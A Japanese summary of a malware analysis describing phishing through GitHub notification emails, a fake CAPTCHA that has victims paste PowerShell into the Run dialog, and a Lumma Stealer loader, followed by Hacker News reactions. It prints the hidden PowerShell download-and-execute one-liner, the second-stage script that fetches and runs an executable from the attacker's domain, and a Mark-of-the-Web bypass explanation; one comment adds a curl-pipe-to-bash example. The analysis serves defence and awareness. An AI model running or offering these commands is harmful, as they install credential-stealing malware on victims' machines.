- 攻撃者は公開リポジトリの正規の通知フローを利用し、リポジトリ所有者に GitHubが実際に送信したメール のように見える悪意あるメッセージを届けた
- メール本文の大半を攻撃者が構成できるため、送信者とリンクだけを確認する方法では フィッシングかどうか を判断しにくい
- リンクをクリックすると偽のCAPTCHAページが表示され、ユーザーにWindowsの「ファイル名を指定して実行」へPowerShellコマンドを貼り付けさせ、マルウェアのダウンロードを開始させる
- ファイルはPowerShellの.NET
System.Net.WebClient.DownloadFile で取得されるため Mark of the Web が付かず、Windowsの署名警告を回避できる
- 最終ペイロードはVirusTotalで複数のアンチウイルス製品が LUMMASTEALER として検知したマルウェアに結び付いており、認証情報・暗号資産ウォレット・機密データを狙う stealer 系統である
GitHub通知メールを利用した攻撃フロー
- 公開リポジトリの所有者は、GitHubからIssue、コメント、Pull Request などの活動通知メールを頻繁に受け取る
- 攻撃者はこの正規の通知システムを次の手順で悪用する
- 使い捨てのGitHubアカウント で公開リポジトリにIssueを作成する
- Issueをすぐに削除する
- リポジトリ所有者はGitHubから送られた通知メールを受け取る
- 受信者がメール内のリンクをクリックすると悪意あるサイトへ移動する
- 指示に従うとシステムがマルウェアに感染する
- 実際のメール本文には、セキュリティ脆弱性が見つかったので
github-scanner[.]com で詳しい情報を確認するよう促す内容が書かれており、「Github Security Team」を装っていた
メールがもっともらしく見えた理由
- メールは GitHubが実際に送信した通知 であり、一般的なフィッシング点検の多くを通過してしまう
- メール送信者はGitHubである
- 本文中のリンクは表示された宛先へ遷移する
- 攻撃者が制御していないメール領域だけでは実情を判断しにくい
- 新しいIssueが作成されたことがメール内で十分に明示されていない
- 攻撃者は本文テキストで望む文脈を作り出せる
- GitHubの通知メールは、攻撃効果を下げるために次の改善が考えられる
- どの操作によって送信されたメールなのか、より多くの 文脈 を提供する
- 攻撃者が制御できるコンテンツの比率を減らす
- メール送信者に関する明確さを改善する
- 当該メールと懸念事項は実際にGitHub Securityへ共有された
偽CAPTCHAとPowerShell実行
- メールのリンクをたどると、CAPTCHAのように見えるページが表示される
- CAPTCHAで人間であることを証明させる要求は、Cloudflareのようなサービスの自動チャレンジがあるため、ユーザーにとってそれほど不自然ではない可能性がある
- このページは一般的な画像選択式CAPTCHAではなく、Windowsの「ファイル名を指定して実行」を開いてコマンドを貼り付けるよう要求する
- クリップボードに入る第1段階コマンドは、隠しPowerShellウィンドウを開いてリモートスクリプトを取得し実行する
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
iex は Invoke-Expression、iwr は Invoke-WebRequest の別名である- Linuxで
curl | bash を実行するのと同様の形で動作する
- コマンド末尾のコメントは、Windowsの「ファイル名を指定して実行」の表示幅制限により前半を隠し、ユーザーにはCAPTCHA確認文言のように見せる役割を持つ
第2段階ダウンロードとWindows警告の回避
- 取得したスクリプトは
github-scanner[.]com/l6E.exe をダウンロードし、一時フォルダに SysSetup.exe として保存して実行する
$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe";
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
- 実行ファイルにはデジタル署名があったが、悪意あるバイナリの署名は有効ではなかった
- 署名はSpotify由来のように見えたが、DigiCertとの協議後、盗難証明書ではなく 偽装された署名 と整理された
- Windowsはインターネットから取得したファイルかどうかを Mark of the Web(MOTW) フラグで判断する
- ブラウザなどはダウンロードファイルにこのフラグを設定できる
- Officeのようなソフトウェアはこのフラグを見て挙動を変えることがある
- ブラウザで同じ実行ファイルを取得すると、Windowsは無効な署名について警告を表示する
- 被害者のフローでは、ブラウザではなくPowerShellの .NET Framework
System.Net.WebClient.DownloadFile がファイルを取得する
- このメソッドはダウンロードファイルにMOTWフラグを設定しない
- WindowsはMOTWが付いている場合にのみ、無効なデジタル署名の実行警告を表示する
- MOTWは容易に削除できるため、このフラグに依存する方式は安全ではない
- 関連する2つのWindowsの弱点はMicrosoftに報告された
ローダー分析と最終ペイロード
- 実行ファイルにはGhidraで .NET 関連の痕跡が見えたため、dotPeekで分析された
- 中核となるフローはエントリポイントと
PersonalActivation メソッドにある
- エントリポイントはコンソールウィンドウを隠す
- バックグラウンドスレッドで
PersonalActivation を2回呼び出す
VirtualProtect でメモリ領域を実行可能としてマークするCallWindowProcW で実行する
PersonalActivation は未使用のリストと2つのバイト配列を受け取る
- 1つ目の配列はデータバッファに見える
- 2つ目の配列は
key と表示される
- 多数の数学演算を行っており、ある種の復号ルーチンに見える
VirtualProtect と CallWindowProcW の呼び出しをコメントアウトし、デバッガで復号バッファを確認した
- 1つ目のバッファには
CreateProcessA, VirtualAlloc, GetThreadContext, ReadProcessMemory, WriteProcessMemory, SetThreadContext, ResumeThread などが含まれていた
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe パスも現れた- 2つ目のバッファは
MZ, PE ヘッダーを持つWindows実行ファイル形式だった
- ローダーは上部の大きなバイト配列に入っている「暗号化された」exeをメモリ上に展開し、実行可能にしてから実行する
Lumma Stealer検知と使用ツール
- 最終段階は .NET ではないWindows exeであり、Ghidraの出力だけでは追加分析に限界があった
- 2つのバイナリはVirusTotalですでに複数のアンチウイルス製品に検知されていた
- 検知名には共通して LUMMASTEALER パターンが現れている
- Lummaは「malware as a service」型のマルウェア運用の1つである
- stealer コードは暗号資産ウォレット、保存された認証情報、機密データを探す
- 収集データはコマンド＆コントロール(C2)サーバーへ送信される
- その後、金銭窃取やデータ販売につながる可能性がある
- Lummaマルウェアは、従来型ランサムウェアのように被害者端末を暗号化する傾向はない
- Lumma関連の追加資料として、Cyfirmaの Lumma Stealer tactics, impact, and defense strategies が推奨されている
- 分析に使用されたツールは Windows Sandbox、Ghidra、dotPeek、HxD、Visual Studio である
1件のコメント
Hacker Newsの意見
こういう詐欺に本当に引っかかる人がいるのかと思ってしまう。
まずスクリーンショットだけでは明確ではないが、投稿者がそのメールがGitHubから来たものだと分かっていたと仮定すると、最初の危険信号は、実際のドメインをもじった github-scanner.com に誘導される点。
github-scanner.com が誰のものか分からないなら、もっともらしい本物のサイトに見えるという理由だけでも、詐欺だと考えるのが安全。
巨大な危険信号は、CAPTCHAがシェルにコマンドを入力しろと言ってくる点で、これを実行するにはどれだけ無邪気でないといけないのか、これ以上言うことはない。
誰も完璧ではなく、信頼させる要素が増えるほどコンバージョン率も上がる可能性が高い。
視力がよくなかったり、時間に追われていたり、疲れて消耗している状態なら、本来だましにくい相手でもより簡単にだませる。
大規模な自動化が可能なら、低いコンバージョン率でも多くのアカウント乗っ取りにつながる。
SSHキーを設定するのと大きく違って見えないし、新規ユーザーはGitHubが送ってくるコマンドをコピー＆ペーストする流れを実際に経験する。
明らかにマルウェアだったはずで、すぐにコメントを削除してからGitHubにそのアカウントを報告した。
自分ならあんな見え透いた手口には引っかからなかっただろうが、最初に質問した人はGitHub上の活動履歴と質問の質から見て、技術に詳しくなさそうだった。
批判的に見ず、何でも早く試してみようという状態なら、引っかかる可能性はありそうだった。
CitiやPayPalも一部のメールでそれをやるので、毎回いらつく。
先月のあるカンファレンスでサイバーセキュリティ企業のCEOが基調講演をしたが、場合によってはいまだにユーザーの80%以上がメール詐欺に引っかかるので、もっと資金が必要だという内容だった。
講演者に真剣に尋ねたのは、数百万ドルとほぼ25年を費やしても、80%を超えるユーザーがいまだに間違ったリンクをクリックするなら、私たちは何か根本的に間違っているのではないか、という点だった。
最近PayPalから、もっとずっと本物らしいメールを受け取った。
誰かが見積書を送ってきたのだが、おそらくリクエストなしでも使える機能のようで、会社名を「PayPalが最近の499.00ドルの決済について連絡する必要があるので +1-... に電話しろ」といった形に設定していた。
そのため、PayPalの見積メールにある「$xxx の見積書をお送りします」という文言のせいで、その会社名が上部テキストの大半を占めていた。
このメールは本物の PayPal.com から来ており、決済処理会社がこうしたユーザー名の問題をまだ防げていないのが理解できない。
通報したが返答はなく、そのアカウントだけでなく、そういう名前全体を禁止すべきだ。
フォーマットも本当に正規のPayPalメールのように見え、普通の人はこの詐欺にかなり引っかかると思う。
メールが欲しければ、私のプロフィールのWebサイトから連絡してほしい。
PayPalにログインしてもWebサイトには何も表示されなかった。
何か必要なら直接電話するか、メールに内容を書くか、ポータルに表示すべきだ。
セキュリティ上の理由もあるが、HTMLを5分でも触ったことがある人なら誰でも「本物っぽく見える」メールを作れる。
Win+R、CTRL+V
CAPTCHA から罠につながる
ジュニア開発者なら引っかかるかもしれないと思う。「GitHub だから正当なものだろう？ うちで使っているライブラリのセキュリティ通知も2か月に1回くらい来るし」といった具合
「おお、コードを実行して解く CAPTCHA なんて珍しいな！」と思うかもしれない
Web ページがクリックだけでクリップボードを埋められるようにしてはいけないし、内容のプレビューが必要だと思う
クリックのようなユーザー操作を要求すれば解決すると思ったのだろうが、それでもまだ弱すぎる。これが1つ目の問題
人々はメール内のリンクをそのまま実行したり、メール本文に正当性があると信じたりするのをやめるべき。メール本文そのものには正当性はなく、これが2つ目の問題
3つ目に、Windows はいまだに PowerShell の1行でマシンを root 権限レベルで掌握できるようにしているのか？
GitHub も、自動化サービスとして、リモートで正当なコンテンツか確認していないリンクを Issue に入れられないようにすべきかもしれない
それを人々のメールに送っているのだから、フィッシングに使われ得ることを知らないとは言わないでほしい。これは2015年基準でもサイバーセキュリティ入門レベルの話
最後に GitHub が上の対策を取れないなら、人々に送るメールをもっと削り、銀行のように「このリポジトリに新しい Issue があります...」程度だけ送るべき
そうすればユーザーが見に行った時点でメッセージはなく、それで終わっていたはず。GitHub はここではもう少し成熟する必要がありそう
何が有害なのかを人々にきちんと訓練する必要があると思う
Windows については、社員のうち少なくとも2人が Windows から離れられるようにしてほしいと頼んできた。全力を尽くすつもりだし、長いプロジェクトだが最終的にはやり遂げる
「ファイル名を指定して実行」ダイアログのスクリーンショットにある盾アイコンは、管理者権限ユーザーで UAC が無効になっていることを明確に示している
それなら Linux も
curl malware.zyx/evilscript | bashの1行で root 権限を奪取できるようにしていると嘆く番だクリップボード戦略もブロックしやすいはず。詐欺師の大半は、電話で巧妙に偽装した URL を「ファイル名を指定して実行」ダイアログに直接入力するよう説得するだけ
そう、私は10倍 Windows ユーザーだ
私たちが Windows を「root」として扱えるのは、私たちが root だからで、具体的には Windows のインストールが最初に設定するユーザーアカウントを常に管理者アカウントにするから
これは長所だ。自分が所有し使っているコンピュータでやりたいことができる
ますますロックダウンされていく OS が、ユーザーにコンピュータを本当の意味で所有・管理させない時代に、Windows はただそれを許している
どうかこの点だけは絶対に変わらないでほしい
要するに、メール内のリンクをクリックするなということ
github-scanner.com と github-scanner.shop はまだ同じ悪意ある主体なのか？ そう見える
DNS が Cloudflare にあるのが笑える。Cloudflare は「何もホスティングしていない」と言うことで有名だが、私たちをみんな馬鹿だと思っているようだ
何の責任も負わない Cloudflare には、こうした悪用を報告する方法もなさそう
マルウェアをホスティングしているドメイン 2x.si は、DNS も Cloudflare を使い、ホスティングも Cloudflare だ
少なくともこれは Cloudflare に報告できるが、悪用報告フォームでは人間にレート制限をかけ、CAPTCHA まで要求する
ため息しか出ない。Cloudflare のおかげで最近はフィッシングとマルウェアのホスティングがあまりにも簡単になった
両方を相手にした経験からそう言える
そのページには、選択する悪用の種類として Phishing & Malware が表示される
真面目なセキュリティ論評というより愚痴に近いが、フィッシングテストの失敗基準が「メール内の任意のリンクをクリックした」になっているのがいつも気になっていた
実際には、フィッシングサイトに認証情報を入力したか、ファイルをダウンロードして開いたかのほうが本質ではないかと思う
非技術系ユーザーには悪いリンクをそもそもクリックしないよう教えるほうが簡単で、ブラウザ脆弱性も存在するのは理解しているが、それでもどこか面倒に感じる
こういう話は結局、ユーザーが認証情報を入力する、ブラウザに怪しい権限を与える、ファイルをダウンロードする、今回のようにコマンドを実行する、といった形で終わるケースを多く見てきた
「リンクをクリックしたらブラウザの 0-day が発火して終わった」で終わる事例はほとんど見たことがない
Web ブラウザは攻撃面が広いが、同時にインターネットを閲覧するために作られた道具でもある
たいていの人は仕事や調査をしながら、リンクをかなり無造作にクリックする
多層防御は必要だが、「絶対に悪性 Web サイトを訪問するな」を中核原則にするセキュリティポリシーは、かなり欠陥があるように見える
むしろ Qubes OS を使い、リンクは使い捨て仮想マシンでだけ開き、それ以上の情報は入力しないという方法がある
新規アカウントのメールアドレス確認メールを受け取るとき、私はだいたいそうしている
リンクのクリックを常に避けられるわけではないのでは
「攻撃者が Issue をすぐに削除する」という部分を見て、自分が作成した Issue を削除したことがないと気づいた
でも、リポジトリで Issue を削除できるのは管理者権限を持つ人だけではないのか？ https://docs.github.com/en/issues/tracking-your-work-with-issues/deleting-an-issue
だとすれば、実際にはその Issue の痕跡がリポジトリに残っていて、プルリクエストも同じはず
メールが新しい Issue に対応していることを示すものがない、という主張は間違っている
件名の「(Issue #1)」がまさにその意味だ
私も同じメールを実際に受け取り、リポジトリに新しい Issue が作成されたものだとすぐに分かった
このユーザーは、そのリポジトリで最初の Issue だという点からも明らかなように、GitHub Issues に慣れていないのは明白だ
GitHub は新規ユーザーへの案内をもっと改善すべきだと思う
こういう人たちは本当に簡単にだまされる
技術者なら気づけるだろうが、だからといって GitHub がもっと改善しなくてよいという免罪符にはならない
今朝こうした通知の一つを受け取り、すぐに無視した
笑えたのは、対象がまさにこのリポジトリだったことだ: https://github.com/kyledrake/theftcoinjs
読む価値のある記事だ。攻撃者が何をしようとしているのかが分かる
リンクを見ただけでも疑うのは簡単だが、誰かが掘り下げていく過程を見るのは面白い
今朝 GitHub リポジトリにバグを投稿したところ、1分もしないうちに誰かがだいたいこんな返信を付けてきた
「これを試してみてください。問題を修正できると思います。コンパイラが必要なら GCC をインストールしてください」
続いて、MediaFire の zip ファイルにリダイレクトされる Bitly リンクとパスワードが付いていた
GitHub は私の悪用報告を1時間以内に処理し、そのユーザーの投稿をすべて削除した
なんてことだ、自分も似たような GitHub 通知メールを受け取っていた
リポジトリで脆弱性が検出されたという内容だったが、このニュースを見るまで偽物だとは思っていなかった
それでも怠惰なプログラマーなのでクリックはしなかった。一度書いたらそれで終わりで、コードを書き直すことはあっても、自分のコードのバグを探して直したりはしない
GitHub がプロジェクトの依存関係にあるセキュリティ脆弱性を知らせる機能だ
たとえば Python を使っていて
requirements.txtにrequestsライブラリを明記している場合、GitHub はそのライブラリで公開されている脆弱性をメールで知らせ、修正済みの上位バージョンへ上げるよう勧める